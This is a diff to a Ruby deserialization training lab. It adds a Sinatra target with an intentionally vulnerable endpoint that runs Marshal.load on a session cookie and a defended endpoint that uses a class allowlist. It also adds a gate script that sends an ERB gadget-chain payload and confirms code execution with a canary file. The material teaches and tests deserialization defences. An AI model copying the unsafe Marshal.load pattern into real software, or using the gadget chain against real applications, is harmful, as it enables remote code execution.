diff --git a/PROJECTS/beginner/deserialization-gadget-lab/justfile b/PROJECTS/beginner/deserialization-gadget-lab/justfile index 24d5108a..4e457deb 100644 --- a/PROJECTS/beginner/deserialization-gadget-lab/justfile +++ b/PROJECTS/beginner/deserialization-gadget-lab/justfile @@ -36,7 +36,10 @@ matrix: exploit: @bash scripts/exploit-gate.sh -gate: check matrix exploit +target: + @bash scripts/target-gate.sh + +gate: check matrix exploit target build: {{run}} sh -c "gem build --strict rube.gemspec" diff --git a/PROJECTS/beginner/deserialization-gadget-lab/scripts/target-gate.sh b/PROJECTS/beginner/deserialization-gadget-lab/scripts/target-gate.sh new file mode 100755 index 00000000..ad3f0f85 --- /dev/null +++ b/PROJECTS/beginner/deserialization-gadget-lab/scripts/target-gate.sh @@ -0,0 +1,144 @@ +#!/usr/bin/env bash +# ©AngelaMos | 2026 +# target-gate.sh + +set -uo pipefail + +HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" + +IMAGE="rube-target:local" +CONTAINER="rube-target-gate" +PORT="${RUBE_TARGET_PORT:-47823}" +BASE="http://127.0.0.1:${PORT}" +CANARY_MARKER="fired" + +cleanup() { + docker rm -f "${CONTAINER}" >/dev/null 2>&1 || true +} +trap cleanup EXIT + +echo "building target image" +docker build -q -f "${HERE}/target/Dockerfile" -t "${IMAGE}" "${HERE}" >/dev/null || { + echo "FAIL image build" + exit 1 +} + +cleanup +docker run -d --name "${CONTAINER}" \ + --network bridge \ + --read-only \ + --tmpfs /tmp:rw,noexec,nosuid,size=1m \ + -p "127.0.0.1:${PORT}:4567" \ + "${IMAGE}" >/dev/null + +for _ in $(seq 1 40); do + curl -sf "${BASE}/" >/dev/null 2>&1 && break + sleep 0.5 +done + +if ! curl -sf "${BASE}/" >/dev/null 2>&1; then + echo "FAIL target never became reachable on ${PORT}" + docker logs "${CONTAINER}" 2>&1 | tail -20 + exit 1 +fi + +echo +curl -s "${BASE}/" | head -3 +echo + +payload="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app ruby:4.0-slim \ + ruby -Ilib -e ' +require "rube" +require "base64" +chain = Rube::Chains::ErbDefMethod.canary("/tmp/rube-canary", "fired") +state = { user: "attacker", template: chain.generate } +print Base64.strict_encode64(Marshal.dump(state)) +')" + +if [[ -z "${payload}" ]]; then + echo "FAIL payload generation produced nothing" + exit 1 +fi + +failures=0 + +before="$(curl -s "${BASE}/canary")" +vulnerable_body="$(curl -s --cookie "session_state=${payload}" "${BASE}/render")" +after="$(curl -s "${BASE}/canary")" + +echo " vulnerable endpoint : ${vulnerable_body}" +echo " canary before/after : ${before} -> ${after}" + +if [[ "${after}" == "${CANARY_MARKER}" && "${before}" != "${CANARY_MARKER}" ]]; then + echo " PASS HTTP request achieved code execution through Marshal.load" +else + echo " FAIL payload did not execute over HTTP" + failures=$((failures + 1)) +fi + +docker exec "${CONTAINER}" rm -f /tmp/rube-canary >/dev/null 2>&1 || true + +reset="$(curl -s "${BASE}/canary")" +safe_body="$(curl -s --cookie "session_state=${payload}" "${BASE}/render/safe")" +safe_after="$(curl -s "${BASE}/canary")" + +echo +echo " defended endpoint : ${safe_body}" +echo " canary before/after : ${reset} -> ${safe_after}" + +if [[ "${safe_after}" != "${CANARY_MARKER}" && "${safe_body}" == rejected* ]]; then + echo " PASS defended endpoint rejected the identical payload" +else + echo " FAIL defended endpoint did not reject the payload" + failures=$((failures + 1)) +fi + +jar="$(mktemp)" +curl -s -X POST "${BASE}/session" -d "" -c "${jar}" >/dev/null +benign="$(awk '$6 == "session_state" {print $7}' "${jar}")" +rm -f "${jar}" + +echo +if [[ -z "${benign}" ]]; then + echo " FAIL could not obtain a benign session, the control did not run" + failures=$((failures + 1)) +else + benign_body="$(curl -s --cookie "session_state=${benign}" "${BASE}/render/safe")" + echo " benign on defended : ${benign_body}" + if [[ "${benign_body}" == rejected* ]]; then + echo " FAIL defended endpoint rejects legitimate sessions, it is not a filter" + failures=$((failures + 1)) + else + echo " PASS defended endpoint still serves a legitimate session" + fi +fi + +echo +sinks="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app ruby:4.0-slim \ + ruby -Ilib -e ' +require "rube" +require "base64" +chain = Rube::Chains::ErbDefMethod.canary("/tmp/rube-canary", "fired") +blob = Marshal.dump({ user: "attacker", template: chain.generate }) +result = Rube::Marshal::Parser.new(blob).parse +print result.sinks.length +')" + +echo " sink-tag hits on the working payload : ${sinks}" +if [[ "${sinks}" == "0" ]]; then + echo " NOTE sink detection alone does NOT catch this chain, only the class" + echo " allowlist does. ERB defines no marshal_load, so it serializes as" + echo " a plain object and carries no sink tag." +else + echo " FAIL expected the ERB chain to carry no sink tag, got ${sinks}" + failures=$((failures + 1)) +fi + +echo +if [[ ${failures} -eq 0 ]]; then + echo "GATE PASSED" + exit 0 +fi + +echo "GATE FAILED (${failures})" +exit 1 diff --git a/PROJECTS/beginner/deserialization-gadget-lab/target/Dockerfile b/PROJECTS/beginner/deserialization-gadget-lab/target/Dockerfile new file mode 100644 index 00000000..42d71d80 --- /dev/null +++ b/PROJECTS/beginner/deserialization-gadget-lab/target/Dockerfile @@ -0,0 +1,20 @@ +# ©AngelaMos | 2026 +# Dockerfile + +FROM ruby:4.0.2-slim + +RUN gem install --no-document sinatra rackup webrick + +WORKDIR /app + +COPY lib /app/lib +COPY target/app.rb /app/target/app.rb +COPY target/config.ru /app/config.ru + +ENV RUBYOPT="-I/app/lib" + +EXPOSE 4567 + +USER nobody + +CMD ["rackup", "--server", "webrick", "--host", "0.0.0.0", "--port", "4567"] diff --git a/PROJECTS/beginner/deserialization-gadget-lab/target/app.rb b/PROJECTS/beginner/deserialization-gadget-lab/target/app.rb new file mode 100644 index 00000000..95ca7696 --- /dev/null +++ b/PROJECTS/beginner/deserialization-gadget-lab/target/app.rb @@ -0,0 +1,112 @@ +# ©AngelaMos | 2026 +# app.rb + +require "sinatra/base" +require "base64" +require "erb" +require "rube" + +module Rube + module Target + COOKIE_NAME = "session_state" + CANARY_PATH = "/tmp/rube-canary" + + STATUS_OK = 200 + STATUS_BAD_REQUEST = 400 + + CONTENT_TYPE = "text/plain" + + ALLOWED_CLASSES = %w[Hash String Symbol Integer Array].freeze + BENIGN_TEMPLATE = "hello" + + REJECTED_SINK = "rejected: payload reaches %s#%s before any allowlist can run" + REJECTED_CLASS = "rejected: payload references %s" + RENDERED = "rendered template for %s" + NO_SESSION = "no session cookie" + MALFORMED = "rejected: malformed stream (%s)" + + class App < Sinatra::Base + set :host_authorization, permitted_hosts: [] + + get "/" do + content_type CONTENT_TYPE + [ + "rube target", + "erb #{Gem::Specification.find_all_by_name('erb').map(&:version).max}", + "ruby #{RUBY_VERSION}", + "", + "POST /session issue a benign session cookie", + "GET /render deserialize and compile the session template (VULNERABLE)", + "GET /render/safe inspect the stream before deserializing (DEFENDED)", + "GET /canary report whether the canary file exists" + ].join("\n") + end + + post "/session" do + state = { user: "guest", template: BENIGN_TEMPLATE } + response.set_cookie(COOKIE_NAME, value: encode(state), path: "/") + content_type CONTENT_TYPE + "session issued" + end + + get "/render" do + content_type CONTENT_TYPE + blob = decode(request.cookies[COOKIE_NAME]) + halt STATUS_BAD_REQUEST, NO_SESSION unless blob + + state = ::Marshal.load(blob) + compile(state) + end + + get "/render/safe" do + content_type CONTENT_TYPE + blob = decode(request.cookies[COOKIE_NAME]) + halt STATUS_BAD_REQUEST, NO_SESSION unless blob + + verdict = inspect_stream(blob) + halt STATUS_BAD_REQUEST, verdict if verdict + + compile(::Marshal.load(blob)) + end + + get "/canary" do + content_type CONTENT_TYPE + File.exist?(CANARY_PATH) ? File.read(CANARY_PATH) : "absent" + end + + private + + def encode(state) + Base64.strict_encode64(::Marshal.dump(state)) + end + + def decode(raw) + return nil unless raw + + Base64.strict_decode64(raw) + rescue ArgumentError + nil + end + + def compile(state) + template = state[:template] + template.def_method(Module.new, "render_it") if template.respond_to?(:def_method) + format(RENDERED, state[:user]) + end + + def inspect_stream(blob) + result = Rube::Marshal::Parser.new(blob).parse + + sink = result.sinks.first + return format(REJECTED_SINK, sink.class_name, sink.sink_method) if sink + + unknown = result.class_names.reject { |name| ALLOWED_CLASSES.include?(name) } + return format(REJECTED_CLASS, unknown.join(", ")) unless unknown.empty? + + nil + rescue Rube::Marshal::StreamError => e + format(MALFORMED, e.class.name.split("::").last) + end + end + end +end diff --git a/PROJECTS/beginner/deserialization-gadget-lab/target/config.ru b/PROJECTS/beginner/deserialization-gadget-lab/target/config.ru new file mode 100644 index 00000000..ffc43b6f --- /dev/null +++ b/PROJECTS/beginner/deserialization-gadget-lab/target/config.ru @@ -0,0 +1,6 @@ +# ©AngelaMos | 2026 +# config.ru + +require_relative "target/app" + +run Rube::Target::App